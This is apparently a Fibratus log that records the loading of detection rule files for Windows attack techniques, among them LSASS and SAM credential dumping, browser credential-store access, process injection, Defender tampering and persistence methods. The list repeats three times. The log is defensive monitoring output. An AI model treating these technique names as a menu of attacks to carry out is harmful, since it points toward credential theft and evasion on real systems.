C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:19:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:19:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 